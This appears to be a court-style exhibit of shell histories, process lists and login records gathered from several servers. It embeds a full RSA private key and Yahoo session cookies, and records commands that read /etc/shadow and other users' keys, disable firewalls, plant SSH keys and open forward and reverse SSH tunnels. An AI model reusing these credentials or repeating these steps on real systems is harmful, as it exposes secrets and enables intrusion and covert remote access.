Exhibit 1

Collection of .bash_history logs from several machines.

In no particular order, some duplicates.

Also various bits of information including running processes, wtmp logs, and a few other things. T.S.

History 69.171.64.174

```
24  cd ./.ssh
 25  mkdir ./.ssh
 26  cd ./.ssh
 27  echo "-----BEGIN RSA PRIVATE KEY-----
 28  MIIEoQIBAAKCAQEA4CRMvFAQjlt5muISp8GTja2UmA/ngoWYlu2kW6tR/AC9Hq4N
 29  Z/6yb5//ZVPKxCfbKbxd5PvN9j/KrQiqCfBheDxbKziDyFYx0H0fV6ttRFqK+/Jx
 30  4SwErnmH/mScyFg9/5q6ToOUOfIbDQINLgq6Pec0bkcbjJ0k5WSjzL0O3X5JXU0S
 31  paDIDMTk9glIJD9WOwdO88IhjcPqa8ZNUPCpFebdsnbC2TFTWj2nsySsRgsEwGhp
 32  Pf5s+bMydRKgtUCT1VpmXcDf3IFupmeEckoK7X/w//O4yH1Rk9ooPkyiH+jIXlOB
 33  /oPdIWUUJPkaqd7QYJP8bSfDGjBM4lvO96BHqwIBIwKCAQBM2T7heolVYTEB5xxW
 34  xga0O4NnVej5jOPb+bSxtxTLbfeyv1UNtmkQVB0MzEWFFPqvOUTDiYhxr3iwWr30
 35  x3HgFLGLKVHBB5wM97L5fJp91eaCRH7Q2+RZE7mZDI2GhKeK1fa71VdkUwH11NFR
 36  nUcrKrLj+x9jaRP24K0wQNHlib3UgoWsaluIxy4T+iznY1Dj8JDawxQ7e7Pw/P+R
 37  rSWQa2XO/APXD/tDKcJ76sd+1Ewv31qqMU4N44z4UJtcItR5cxyUGZGZE/rwWJJm
 38  lrAPEyeGr9PAcBpGaiq/Cb06CqjiFNJEgF1eu4UHZpUYUi8iqRd9uIrdOv9qFbhE
 39  TaLrAoGBAPvvL2iSe/xF5w27OPkItkRQ23XcYUfKH9U+JtGC5Cqp+IeCno7IMdyl
 40  upWykn2Km356RZ8zw400VIjhVKpV0P42VYqnJqIKTSQyLiiw7y2HQdfhRKulwckz
 41  bXZxcadYr2ym9jQfT770CE6mId0yCffCPl+rLJnbkulaE10/BpY/AoGBAOPCS6Qx
 42  mUDNQ5DV4UwjUhCmrjKZUolre0hZaD0P03uGtRfpeSjdu4SF8/AXJWje2agP11bv
 43  KxFyMaO/fYaStKnndR2xT6p+ZK6MjFtreLE6RjsrLjjcHzu9twp0/pLd75nOoJNC
 44  Ew3ZDywpQV/w5SR5PcLooOmOsU/oM8LxYeuVAoGBAKzBRRSBtBqzlx9bz0uuM9cS
 45  36FGqRtIxV8GC/1hEXxXS1WbZWk40bvfW19V4MsdN2yrnXR7REORmQ1nT//F0SNY
 46  dSvgVQFmJkS0sfAETDx6AUOTJ8YohOG83ViITe8YPcbY41bw5jnL6HBx61XZK2gQ
 47  KsVCLTZNbA26G+grN7d7AoGAbqAzXmE7zwSdKRdtbh/IxkJUnDvXodUen3viLEmD
 48  +it8h/UO9peVmCPOQWpT/7yy3Jn64RUU6zd3MkcRFXp1AhFWJF1v1nfnwn7H1KHq
 49  KjI/XpFQ9wvUp/0Pw0Aj4O90YKYwvI3OvZVQgyn7LpmT3oQIDjZ6CwrLJs/eoIPf
 50  GqcCgYAbO2fQ8TW7pQbXbqgwAh4QrJrxa6CuRrzPHQDrMCet+Ac5CG6Q2hjBKQXI
 51  lxYxm2hm+bCZf6Fn8yyIaCmHojwlfgvJ2oGBiXZTwoO63yFZIJxgG7zttGDpPniw
 52  72M/NxBbsW7G4w3QY7xjWXeQ9Ffb/bSRfhqBEfCm0qrdckTYtg==
 53  -----END RSA PRIVATE KEY-----
 54  " > ./id_rsa
 55  chmod 400 ./id_rsa
 56  ssh -i ./id_rsa -L 17000:0.0.0.0:17051 admin@66.165.231.123
 57  ssh -i ./id_rsa -L 17000:0.0.0.0:17603 admin@66.165.231.123
 58  exit
 59  ssh -i ./id_rsa -D 17000 admin@66.165.231.123
 60  sudo -i
 61  exit
 62  exit
 63  ssh -v admin@69.171.64.1
 64  exit
 65  ls -la
 66  cd ./.ssh
 67  ls
 68  cat known_hosts
```

```
   69  cd ..
```

History 66.165.231.123

```
   30  ls maze/
   31  head query.csv
   32  cd /var/log/mysql
   33  ls
   34  ll
   35  chown mysql.mysql mysql.log
   36  service mysqld restart
   37  tail -F mysql.log
   38  vim /etc/my.cnf
   39  service mysqld restart
   40  mysqladmin -uroot -p flush=logs
   41  mysqladmin -uroot -p flush-logs
   42  ls
   43  ll
   44  ls /var/lib/mysql/
   45  mysql -uroot -p
   46  exit
   47  vim /var/lib/denyhosts/hosts
   48  sudo service denyhosts stop
   49  vim /var/lib/denyhosts/hosts
   50  vim /var/lib/denyhosts/hosts-restricted
   51  vim /var/lib/denyhosts/hosts-root
   52  vim /var/lib/denyhosts/hosts-valid
   53  vim /var/lib/denyhosts/users-hosts
   54  vim /var/lib/denyhosts/allowed-hosts
   55  service start denyhosts
   56  service denyhosts start
   57  vim /etc/hosts.deny
   58  exit
   59  cd /var/lib/denyhosts/
   60  ll
   61  vim allowed-hosts
   62  ll
   63  vim hosts-restricted
   64  l
   65  ll
   66  service denyhosts start
   67  exit
   68  cd /etc/sysconfig/network-scripts/
   69  ls
   70  cat ifcfg-eth1
   71  ifup ifcfg-eth1
   72  ip link
   73  cd /etc/sysconfig/network-scripts/
   74  ls
   75  vi ifcfg-eth0
   76  ifup ifcfg-eth1
   77  cat ifcfg-eth1
```

```
 78  /sbin/service network restart
 79  cd /etc/sysconfig/network-scripts/
 80  ifup ifcfg-eth1
 81  ip addr show
 82  ping 10.16.32.1
 83  ls
 84  /sbin/service network restart
 85  ip addr add 162.250.124.211/32 dev eth0
 86  nc -v -s162.250.124.211 smtp.gmail.com
 87  nc -v -s162.250.124.211 smtp.gmail.com 25
 88  ifup ifcfg-snowcapdns
 89  cat ifcfg-snowcapdns
 90  ping 10.1.30.2
 91  ip addr show
 92  nc -v 162.250.124.211/32 smtp.mail.yahoo.com 25
 93  nc -v 162.250.124.211 smtp.mail.yahoo.com 25
 94  nc -v 162.250.124.211 smtp.mail.yahoo.com 265
 95  nc -v -s162.250.124.211 smtp.mail.yahoo.com 25
 96  ip addr show
 97  route -n
 98  service firewalld stop
 99  service iptables stop
100  nc -v -s162.250.124.211 smtp.mail.yahoo.com 25
101  ls
102  ifdown ifcfg-snowcapdns
103  cat ifcfg-snowcapdns
104  ip addr show
105  ls
106  ip addr del 162.250.124.211/32 dev eth0
107  ls
108  ip ro
109  ls
110  ifdown ifcfg-snowcapdns
111  rm ifcfg-snowcapdns
112  ls
113  exit
114  cd /etc/sysconfig/network-scripts/
115  ls
116  vi ifcfg-eth1
117  ifup ifcfg-eth0
118  ifdown ifcfg-eth1
119  ifup ifcfg-eth0
120  cat /etc/sysctl.conf
121  ip addr show
122  route -n
123  vi ifcfg-eth1
124  ifup ifcfg-eth0
125  route -n
126  exit
127  cd /etc/sysconfig/network-scripts/
128  ls
129  ifdown ifcfg-snowcapdns
130  vi ro
```

```
131  ip ro
132  ls
133  cat ifcfg-eth0
134  service iptables stop
135  ls
136  ip link
137  ip link show
138  ip addr show
139  ls
140  vi ifcfg-eth1
141  ifup ifcfg-eth0
142  rm ro
143  ls
144  ifup ifcfg-snowcapdns
145  cat ifcfg-eth0
146  cat ifcfg-eth1
147  vi ifcfg-eth1
148  tcpdump --help
149  tcpdump -XX
150  tcpdump -XX port 30000
151  tcpdump -XX -vv port 30000
152  cat /home/admin/.ssh/authorized_keys
153  cat /home/admin/.ssh/id_rsa.pub
154  exit
155  cat ./.bash_history
156  nc -vvvv 69.171.64.139 56996
157  cd /root
158  ls -la
159  cd cert.bak
160  ls
161  ls -la
162  cd ..
163  cat ./.mysql_history
164  cat ./.bash_history
165  ls -la
166  cd /var
167  ls
168  cd /
169  ls -la
170  cd /home
171  ls
172  cd images
173  ls
174  cd snapshit
175  ls
176  ls -la
177  cd ..
178  ls
179  cd ..
180  ls
181  cd tunnel
182  ls
183  ls -la
```

```
184 cat ./.bash_history
185 who
186 ls
187 cd ..
188 ls
189 cat /etc/shadow
190 ls
191 cd steve
192 ls
193 cd ..
194 cd tunnel
195 ls -la
196 cd ./.ssh
197 ls
198 cat known_hosts
199 ssh -i "/home/tunnel/.ssh/id_rsa" tunnel@66.165.231.50
200 cd /root
201 ls
202 ls -la
203 cat ./somefile
204 ssh admin@66.165.231.50
205 ls
206 cd /home
207 ls
208 cd images
209 ls
210 cd /home/tunnel
211 ls
212 ls -la
213 cd ./.ssh
214 ls
215 nautilus
216 exit
217 nautilus
218 tcpdump -q
219 who
220 ssh -v admin@159.118.139.12
221 ssh -v admin@66.165.247.21
222 ls -la
223 mysql -uroot -p
224 mysql -uroot
225 cd /etc
226 ls
227 cat ./my.cnf
228 cd /home/admin
229 ls
230 ls -la
231 cd mnt
232 ls
233 cd ..
234 mount -a
235 mount
236 cd Dropbox
```

```
237 ls
238 cd /root
239 ls -la
240 cd /home/admin/Dropbox
241 ls
242 ls -la
243 cd RVR_INTEL
244 ls
245 ls -la
246 head -50 mac_fuckery.txt
247 cat bot-guard-protection-b64.txt
248 cat rsa2.key
249 cat mac-me.txt
250 ls
251 ls -la
252 cd ..
253 ls
254 cd RVR_INTEL
255 cd ..
256 ls -la
257 cd RVR_INTEL
258 ls
259 cd ..
260 ls -la
261 cd RVR_INTEL
262 ls
263 cd Mac_Me_iCloud/
264 ls -la
265 cd ..
266 ls
267 cd ..
268 ls
269 cd mailing
270 ls
271 ls -la
272 cd ..
273 ls
274 cd tmp
275 ls
276 cd ..
277 ls
278 netstat -l
279 netstat
280 tcpdump
281 cd usr
282 cd /
283 cd usr
284 ls
285 cd local
286 ls
287 cd share
288 ls
289 cd info
```

```
290  ls
291  cd ..
292  cd lib
293  ls
294  cd ..
295  cd lib
296  ls
297  cd ..
298  cd etc
299  ls
300  cd ..
301  ls
302  cd src
303  ls
304  cd ..
305  ls
306  cd src
307  ls
308  cd ..
309  cd tmp
310  ls
311  cd ..
312  ls
313  cd /var
314  ls
315  cd local
316  ls
317  cd ..
318  cd www
319  ls
320  cd /
321  ls
322  cd home
323  ls
324  cd /home/admin
325  ls
326  cd src
327  ls
328  cd tunnels
329  ls
330  cd ..
331  cd hackershit
332  ls
333  ls -la
334  head -50 ./casus_shell-decoded.php
335  cd ..
336  ls
337  cd /usr
338  cd local
339  cd src
340  ls
341  cd /home/admin
342  ls
```

```
 343  cd mnt
 344  ls
 345  cd ..
 346  cd tmp
 347  ls
 348  la -la
 349  ls -la
 350  cat ips.txt
 351  ls -la
 352  cd ..
 353  ls -la
 354  cat ./.mysql_history
 355  curl
'https://smallbusiness.yahoo.com/catalogmgr/product/_module/?ysbparams=eyJhcHBpZCI6ImNhdGFsb2ctbWFuYWdlciIsImJpe
mlkIjoieXMtMTQxNDE0ODMyMjY2MzM0IiwiYml6dXJsIjoiaHR0cDovL3lzLTE0MTQxNDgzMjI2NjMzNC55YWhvb3N0b3JlLmNvbSIsI
mxhbmciOiJlbi11cyJ9&crumb=Ia1Y0v2rr.E&&action=get_products&sortby=update_time&sortorder=asc&rowsperpage=10&star
trow=1&endrow=-1' -H 'Pragma: no-cache' -H 'Accept-Encoding: gzip, deflate, sdch' -H 'Accept-Language: en-US,en;q=0.8' -H
'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85
Safari/537.36' -H 'Accept: */*' -H 'Referer: https://smallbusiness.yahoo.com/catalogmgr/product/?bizid=ys-
141414832266334&ysbparams=eyJhcHBpZCI6ImNhdGFsb2ctbWFuYWdlciIsImJpemlkIjoieXMtMTQxNDE0ODMyMjY2MzM0IiwiY
ml6dXJsIjoiaHR0cDovL3lzLTE0MTQxNDgzMjI2NjMzNC55YWhvb3N0b3JlLmNvbSIsImxhbmciOiJlbi11cyJ9&yid=all.fishing&appid=c
atalog-manager&bizurl=http%253A%252F%252Fys-141414832266334.yahoostore.com&lang=en-
us&timestamp=1442001878.453&signature=0b91286217608d9e3109241342630756089b4258' -H 'X-Requested-With:
XMLHttpRequest' -H 'Cookie: AO=u=1; YLS=v=1&p=1&n=1;
V=v=0.7&m=0&ccOptions=%7B%22show%22%3Afalse%2C%22lang%22%3A%22en%22%2C%22fontSize%22%3A24%2C%22font
Name%22%3A%22Helvetica%20Neue%2CHelvetica%2CArial%2C_sans%22%2C%22fontColor%22%3A%22%23ffffff%22%2C%22f
ontOpacity%22%3A1%2C%22fontEffect%22%3A%22none%22%2C%22bgColor%22%3A%22%23000000%22%2C%22bgOpacity%
22%3A0.75%7D; DSS=ts=1431018180&cnt=3&sdts=1427424544881&sdtp=spigot-chr-gcmac;
AMCV_att1=MCAID%7C2AA9C9D7851D3067-4000012B201A3ACB; ucs=tr=1432222051494&fs=1;
YM=v=2&u=SuKlu5evhFLZE6vragJCSenS2XK_2EQKYe_JNQ--&d=&f=AAA&t=8h9YVB&s=j2Rw;
DK=v=2&p=OHwyMzMwfFZpcnR1YWx8RGVza3RvcCBCcm93c2VyfG1hYyBvcyB4fDEwLjEw;
ywandp=1000896321451%3A4224888094; fpc=1000896321451%3AZTEq1Wub%7C%7C;
s_pers=%20s_vnum%3D1441080000741%2526vn%253D1%7C1441080000741%3B%20s_nr%3D1440460369199-
Repeat%7C1443052369199%3B%20s_invisit%3Dtrue%7C1440462169202%3B%20s_lv%3D1440460369204%7C1535068369204
%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1440462169204%3B%20gpv_v17%3Dnet%257Catt.yahoo%257Cdes
ktop%7C1440462169207%3B; tos_viewed=1; HP=0; tos_accepted=1; ypcdb=754828f019b314d467f9f3e5596c5793;
tokenid=ordering31441998634824-8449987649138792750;
U=mt=ieGMxp2MhY9nP6tlqYu_weTrpH4i3uHqcohzeWIc&ux=fey8VB&un=amu33bs01s2sj; _vpx=6kVifdgn8uMn;
B=abgutrdagpf7v&b=4&d=c2Ay33NpYEJwUzhtvG0yV_cjhA_5lSko2FJbPA--&s=k1&i=I4U2pr4bFbDFP4Nvn4gg;
F=a=1qs_uzgMvSxk_G2ju88xwaC8L_aaxocyqtD0oItHRopEH1I1rdqhGB7JG_WQRgmLlHsWD_4Ui7WOu4VWdazazKRceXjZ33N4BP
yGSDvyhWeWDKGEKmV3xz6Um.cZCn.EB4Q0SbLl5fOttPaEzoydfpGDYNhCH71t2EZ5&b=LlM4; PH=fn=kfUKyottRVR994SR&i=us;
SSL=v=1&s=hH8gm8fpn2fI6uAQ4JntDyxHb.fmk_BDQVAuq_HQXnKL6bEHajmyAQTGpGN541jpAYWhx9ZhFobLuXznlq0A9A--
&kv=0;
T=z=a8y8VBaQaBWBpuriVomSohsNjM1MwY2TjY1MzAzNk4x&a=YAE&sk=DAAoVzxqy/Hx8r&ks=EAAzCeB6iJy0oipGDBBLRlgqA--
 356  ls -la
 357  cd ./.ssh
 358  ls
 359  cat authorized_keys
 360  cd /root
 361  ls
 362  ls -la
 363  cd ./.ssh
 364  ls
```

```
365  cd /
366  ls
367  cd /root
368  ls
369  ls -la
370  cat somefile
371  who
372  ls -la
373  cd /
374  ls
375  locate xr
376  cd /usr
377  ls
378  cd src
379  ls
380  cd ..
381  cd local
382  ls
383  cd src
384  ls
385  cd ..
386  cd share
387  ls
388  cd man
389  ls
390  cd /
391  ls
392  cd home
393  ls
394  cd steve
395  ls
396  cd ..
397  cd michelle
398  ls
399  ls -la
400  cd ..
401  ls -la
402  cd lost+found/
403  ls
404  ls -la
405  cd ..
406  cd images
407  ls
408  ls -la
409  cd /root
410  ls
411  cd ./.ssh
412  ls
413  cat known_hosts
414  ssh admin@66.165.231.238
415  ssh -v admin@66.165.231.50
416  firefox
417  google-chrome
```

```
418 tor
419 cd /sbin
420 ls
421 cryptsetup
422 cryptsetup --usage
423 ssh admin@66.165.231.50
424 ls
425 ./mount.ntfs-3g -a
426 ./mount.ntfs-3g /dev/sda2 /mnt
427 ./mount.ntfs-3g /dev/sda1 /mnt
428 ./mount.ntfs-3g /dev/sda /mnt
429 ./mount.ntfs-3g /dev/sr0 /mnt
430 ls /dev
431 ./mount.ntfs-3g /dev/sdb /mnt
432 ./mount.ntfs-3g /dev/sdb1 /mnt
433 ./mount.ntfs-3g /dev/sdb2 /mnt
434 ./mount.ntfs-3g /dev/sdb1 /mnt
435 fuser
436 fuser -c
437 fuser -l
438 fuser -c /dev/sdb1
439 fuser /dev/sdb1
440 fuser /dev/sdb2
441 fuser /dev/sdb
442 fuser -m /dev/sdb
443 fuser -m /dev/sdb2
444 fuser -m /dev/sdb1
445 fuser 80
446 fuser -v -m /dev/sdb1
447 fuser -v -k /dev/sdb1
448 ./mount.ntfs-3g /dev/sdb1 /mnt
449 mount /dev/sdb1 /mnt
450 cd /mnt
451 ls
452 umount /mnt
453 cd ..
454 umount /mnt
455 mount /dev/sdb /mnt
456 mount.ntfs-3g /dev/sdb /mnt
457 mount.ntfs-3g /dev/sdb2 /mnt
458 mount /dev/sdb2 /mnt
459 lv
460 lvm
461 sysroot /dev/root
462 lvm
463 ls -la
464 cd mnt
465 ls
466 cd ..
467 cd /
468 ls
469 cd tmp
470 ls
```

```
471  ls -la
472  cat binarylogs.sql
473  locate xr
474  find xr
475  cd /usr
476  ls
477  cd local
478  ls
479  cd src
480  ls
481  cd ..
482  ls
483  cd etc
484  ls
485  cd sbin
486  ls
487  cd ..
488  cd sbin
489  ls
490  cd ..
491  cd ..
492  cd /
493  cryptmount
494  cm
495  cd /root
496  ls
497  cd /admin
498  cd /home
499  ls
500  cd admin
501  cat ./.bash_history
502  ssh admin@return2school.net
503  cat ./.bash_history
504  ssh admin@66.165.231.54
505  ssh admin@66.165.231.41
506  ls
507  cd /root
508  ls
509  ls -la
510  locate
511  proctor
512  ssh -v admin@c21hand.com
513  ssh -v admin@107.158.36.69
514  proctor
515  cd /home
516  ls
517  cd admin
518  ls
519  cd Dropbox
520  ls
521  cd bin
522  ls
523  cd ..
```

```
524  proctor
525  cd /
526  ls
527  locate proctor
528  cd bin
529  ls
530  cd /etc
531  ls
532  cat crypttab
533  cm
534  cmtab
535  ls
536  cd /sbin
537  ls
538  ./cryptsetup
539  ./cryptsetup --dump-master-key
540  ls
541  cd /usr
542  ls
543  cd bin
544  ls
545  ls
546  cd ..
547  ls
548  cd local
549  ls
550  cd bin
551  ls
552  cd ..
553  ls
554  cd src
555  ls
556  cd ..
557  cd share
558  ls
559  cd applications
560  ls
561  cd ..
562  cd doc
563  ls
564  ls -la
565  cd /
566  ls
567  cd /home
568  ls
569  cd admin
570  ls
571  grep
572  grep --help
573  grep -r 'crypt' ./
574  grep -r -i 'cryptmount' ./
575  ls
576  cd Dropbox
```

```
577  ls
578  cd ..
579  cd /mnt
580  cd /home/admin
581  cd ./mnt
582  ls
583  cd ..
584  cryptmount
585  cm
586  cd tmp
587  ls
588  cd ..
589  cd web
590  ls
591  cd src
592  ls
593  cd httpd
594  ls
595  cd ..
596  cd alvin
597  ls
598  ls -la
599  cat famousquotesnow.com
600  cd ..
601  ls
602  cd pmta
603  ls
604  cd PowerMTA
605  ls
606  cd ..
607  cd ..
608  cd ..
609  cd Dropbox
610  ls
611  cd web
612  ls
613  cd ..
614  cd tmp
615  ls
616  cd ..
617  cd src
618  ls
619  cd baconbread
620  ls
621  cat iframes.xcf
622  ls
623  cd ..
624  ls
625  cd ..
626  ls
627  cd RVR_INTEL
628  ls
629  cd ..
```

```
630  ls
631  cd work_shared/
632  ls
633  cd ..
634  cd doc
635  ls
636  cd /home/admin
637  cd src
638  ls
639  cd spinprofit-sean
640  ls
641  cat init-torstack.sh
642  proctor
643  cd cryptmount/
644  ls
645  cd torstack
646  ls
647  cd ..
648  cd ..
649  ls
650  cd xr
651  ls
652  cd ..
653  ls
654  cd sean-scripts/
655  ls
656  cd ..
657  ls
658  cd cryptmount/
659  ls
660  cd ..
661  cd ..
662  ls
663  cd tools
664  ls
665  cd ..
666  ls
667  cd brian-stuff/
668  ls
669  cd ..
670  cat backdoor.sh
671  cd /etc
672  ls
673  cd ./gcrypt
674  ls
675  ls -la
676  cd ..
677  cat Trolltech.conf
678  cat statetab
679  cd /
680  ls
681  cd cgroup
682  ls
```

```
 683  cd ..
 684  cd run
 685  cd proc
 686  ls
 687  ls -la cgroups
 688  cd /
 689  mount -a
 690  mount -A
 691  mount
 692  cd /dev
 693  ls
 694  cd /home
 695  ls
 696  cd steve
 697  ls -la
 698  cat ./.bash_history
 699  cd ..
 700  cd michelle
 701  cat ./.bash_history
 702  ls
 703  cd ..
 704  ls
 705  cd tunnel
 706  ls
 707  cat ./.bash_history
 708  ssh -2fL 50000:localhost:4004 admin@66.165.231.50 sleep 10; nc localhost 50000
 709  cd ./.ssh
 710  ls
 711  cd /home/tunnel
 712  ls
 713  cd ./.ssh
 714  ls
 715  cat known_hosts
 716  ssh -2fL 50000:localhost:4004 -i "/home/tunnel/.ssh/id_rsa" tunnel@66.165.231.50 sleep 10; nc localhost 50000
 717  cat id_rsa.pub
 718  echo "ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEArU6+zrvqvwLbNc4wbi4KHvtht/ZGYo67kea2DW/I8YyE/2BIT2NJIx97zhAKpJUW4X9R4lenpo0
xoJpiAhgIZhCEgmpsJ2an+lxpKrwZVDv60rMUXewBDLqpBci6Sln7G26mJu7FwLhPjdG8BbV1rRS6ICgNdLhtS8N8wYucu1nXVtjTC6E7
15Z5bSr56i7IqDoUwdmHMrsgpaMg9y/1p65rXsWQVA82qlc4LYtKq4cTX/b2dDduDeiVMsWQU+SKIp7/dTCFjJpA+DGgZ1dFPC9Dlv
TJyeT0Se+TUiUtrRGEXd/cZoYEU9Q63h7r+P0G0QB590suBjE2hqAjBcropQ== tunnel@rcmdev" > ./authorized_keys
 719  ls
 720  ls -la
 721  service sshd restart
 722  ssh -2fL 50000:localhost:4004 -i "/home/tunnel/.ssh/id_rsa" tunnel@66.165.231.50 sleep 10; nc localhost 50000
 723  ip addr
 724  ssh -2fL 50000:localhost:4004 -i "/home/tunnel/.ssh/id_rsa" admin@66.165.231.50 sleep 10; nc localhost 50000
 725  ssh -2fL 50000:localhost:4004 -i "/home/tunnel/.ssh/id_rsa" admin@66.165.231.50 sleep 10; nc 66.165.231.123 50000
 726  netstat
 727  tcpdump
 728  who
 729  ip addr
 730  ls -la
 731  dropbox
```

```
732  Dropbox
733  dbox
734  ls sbin
735  cd /
736  ls -la
737  ls sbin
738  mount.ntfs-3g
739  ld /dev
740  ls /dev
741  ls -la
742  cd /dev
743  ls -la
744  cd ./root
745  ls
746  mount
747  mount /dev/sdb2 /mnt
748  mount.ntfs-3g
749  mount.ntfs-3g /dev/sdb2 /mnt
750  mount.ntfs-3g /dev/sdb /mnt
751  mount.ntfs-3g /dev/sda /mnt
752  cd /
753  la
754  cat /root/.bash_history
755  cat /root/.bash_history netstat
756  tcpdump
757  ls -la
758  cd /etc
759  ls
760  fdisk -l
761  cd /mnt
762  ls
763  cd ..
764  mount /dev/mapper/vg_rcmdev-lv_root /mnt
765  cd mnt
766  ls
767  cd ..
768  ls -la
769  ls
770  cd mnt
771  ls
772  cd ..
773  umount /mnt
774  mount /dev/sdb1 /mnt
775  cd /mnt
776  ls
777  cd ..
778  umount /mnt
779  ls
780  mount /dev/sdb /mnt
781  ls /dev
782  mount /dev/sda1 /mnt
783  cd /mnt
784  ls
```

```
785  cd ..
786  umount /mnt
787  mount /dev/root /mnt
788  cd /mnt
789  ls
790  cd ..
791  ls
792  umount /mnt
793  cd tmp
794  ls
795  ls dropbox_errorFlAMDL.txt
796  ls -la dropbox_errorFlAMDL.txt
797  cat dropbox_errorFlAMDL.txt
798  screen dropbox
799  screen virtualbox
800  virtualbox
801  ls -la
802  cd /
803  ls
804  cd var
805  ls
806  cd /etc
807  ls
808  cat hosts
809  ssh -v admin@66.165.231.50
810  ssh -v admin@45.32.17.115
811  ssh -v admin@206.63.224.15
812  ssh -v admin@66.165.231.51
813  ssh -v admin@45.32.187.128
814  ssh -v -p 2252 admin@swift.mxrmedia.com
815  ssh -v admin@snowcapdns.com
816  ssh -v -p 2252 admin@snowcapdns.com
817  ssh -v admin@middec.com
818  ssh -v admin@162.246.21.166
819  ssh -v admin@174.47.2.71
820  ssh -v -p 2252 admin@174.47.2.71
821  ssh -v admin@66.165.231.100
822  ssh -v -p 56996 admin@66.165.231.100
823  ssh -v -p 8082 admin@66.165.231.100
824  ssh -v -p 58998 admin@66.165.231.100
825  ssh -v admin@216.158.229.136
826  ssh -v admin@206.63.224.11
827  ssh -v admin@splunk
828  ssh -v admin@v9
829  ssh -v admin@vhost68
830  ssh -v admin@rwhois
831  ssh -v admin@vultr-dc
832  ssh -vvvvv admin@vultr-dc
833  ssh -vvvvv -p 5022 admin@vultr-dc
834  ssh -vvvvv -p 2022 admin@vultr-d
835  rdesktop vultr-d
836  ssh -vvvvv admin@janusdns.com
837  ssh -vvvvv admin@squid-ll
```

```
838  ssh -vvvvv admin@mysql3
839  ssh -vvvvv admin@elk-devel
840  ping baconbread.com
841  rwhois
842  whois
843  whois baconbread.com
844  ssh -v admin@66.206.0.9
845  ssh -v admin@66.165.231.139
846  ssh -v admin@66.165.231.41
847  who
848  who -u
849  tcpdump -q
850  ssh -v -p 2252 root@45.32.17.115
851  exit
852  cd /home
853  ls
854  cd tunnel
855  ls -la
856  cat ./.bash_history
857  ls -la
858  cd ./.ssh
859  ls
860  cat authorized_keys
861  cat ./known_hosts
862  cat ./id_rsa
863  ls
864  cat known_hosts
865  cd /
866  ls
867  ls -la
868  cat ./.rnd
869  cd /home
870  ls
871  cd tunnel
872  ls
873  ls -la
874  cat ./.esd_auth
875  cd /
876  cd /etc
877  ls
878  cat hosts
879  ssh -v admin@69.171.64.41
880  ssh -v admin@69.171.64.41
881  ls -la
882  cd unbound
883  ls
884  cat root.anchor
885  cat named.conf
886  cd named
887  ls
888  cd ..
889  cat named.conf
890  cd named
```

```
891  ls
892  cd /var/named
893  ls
894  cd slaves
895  ls
896  cd ..
897  cd data
898  ls
899  ls -la
900  cd ..
901  ls
902  cd dynamic/
903  ls
904  cat managed-keys.bind
905  mysql -uroot -p
906  mysql -uroot -p
907  mysql -uroot -p
908  cd /root
909  ls
910  cd /home
911  ls
912  cd /admin
913  ls
914  cd admin
915  ls
916  ls -la
917  ls
918  cd dkim
919  ls
920  cd spixy.com
921  ls
922  cd sprixy.com/
923  ls
924  cd st
925  cd steve
926  cd ..
927  cd steve/
928  ls
929  cd ..
930  cd ..
931  ls
932  cd ..
933  ls
934  cd images
935  ls
936  cd snapshit/
937  ls
938  cd ..
939  cd ..
940  ls
941  cd steve/
942  ls
943  ls -la
```

```
944  ls -la
945  cat ./.bash_history
946  dig -x 66.165.231.123
947  dig -x 166.88.192.100
948  ls /tmp
949  ls /tmp/orbit-tunnel/
950  ls -la /tmp/orbit-tunnel/
951  cd ..
952  ls
953  cd /sbin
954  ls
955  fdisk -l
956  cd /dev
957  ls
958  cd /mnt
959  cd ..
960  mount /dev/sdb2 /mnt
961  mount /dev/ram0 /mnt
962  lsblk
963  mount /dev/sr0 /mnt
964  mount /dev/sda /mnt
965  mount -t
966  mount -a
967  mount
968  mount /dev/sda /mnt
969  mount /dev/sr0 /mnt
970  mount -t ext4 /dev/sr0 /mnt
971  mount -t ext4 /dev/ram0 /mnt
972  dmesg | tail
973  ssh -v admin@69.171.64.41
974  ls -la
975  cd /root
976  ls
977  cd ./.ssh
978  ls
979  cat known_hosts
980  ssh -v admin@66.45.232.98
981  cat known_hosts
982  ssh -v admin@45.76.98.34
983  who
984  who -r
985  rdesktop
986  ssh admin@ known_hosts 66.165.232.130
987  ssh admin@66.165.232.130
988  cd /etc
989  ls
990  cat ./resolv.conf
991  cat gai.conf
992  cat lftp.conf
993  cat fstab
994  cat hosts
995  ssh -v admin@107.170.16.7
996  ssh -v admin@66.165.231.66
```

```
  997  ping prod
  998  ssh -v admin@prod
  999  ping production
 1000  exit
 1001  who
 1002  screen -ls
```

66.165.231.240

```
 4661 ?        Ss     0:00 ssh -X -f admin@10.16.32.69 -L 2001:10.16.32.69:22 -N
```

66.165.231.239

```
admin    pts/0        104.200.151.77   Wed Feb  1 21:16 - 21:30  (00:13)
admin    pts/0        104.200.151.25   Tue Jan 31 14:45 - 20:51  (06:05)

  436  sudo su
  437  ssh -vvv -p 5022 admin@108.61.182.72
  438  ssh -vvv admin@108.61.182.72
  439  ssh -vvv admin@45.32.17.115
  440  ssh -vvv admin@66.206.0.48
```

66.165.231.69

```
[admin@vhost32 ~]$ who
(unknown) :0           2016-06-14 15:03 (:0)
admin    pts/0        2016-10-28 10:50 (:1)
admin    pts/1        2016-09-20 10:08 (:1)
23248 ?        Ss     0:00 ssh -X -f -N -T -R 22222:localhost:22 admin@206.63.224.12
```

66.165.231.68

```
[root@vHost68 mnt]# last
admin    pts/1        66.165.231.123   Thu Feb  9 15:55   still logged in
admin    pts/1        66.165.231.123   Tue Feb  7 09:38 - 09:44  (00:06)
admin    pts/1        66.165.231.123   Mon Feb  6 20:37 - 20:42  (00:05)
admin    pts/1        66.165.231.123   Mon Feb  6 11:43 - 12:22  (00:39)
admin    pts/1        66.165.231.123   Mon Feb  6 10:38 - 10:38  (00:00)
admin    pts/0        :1               Thu Jan 26 11:49   still logged in
(unknown :0           :0               Fri Dec  9 09:21   still logged in
reboot   system boot  3.10.0-327.36.3. Fri Dec  9 09:21 - 16:03 (62+06:42)
admin    pts/0        66.165.231.121   Fri Dec  9 09:18 - 09:19  (00:01)
admin    pts/0        cpe-24-160-52-17 Fri Dec  2 07:46 - 07:47  (00:00)
(unknown :0           :0               Fri Dec  2 07:45 - 09:19 (7+01:34)
reboot   system boot  3.10.0-327.36.3. Fri Dec  2 07:45 - 09:19 (7+01:34)
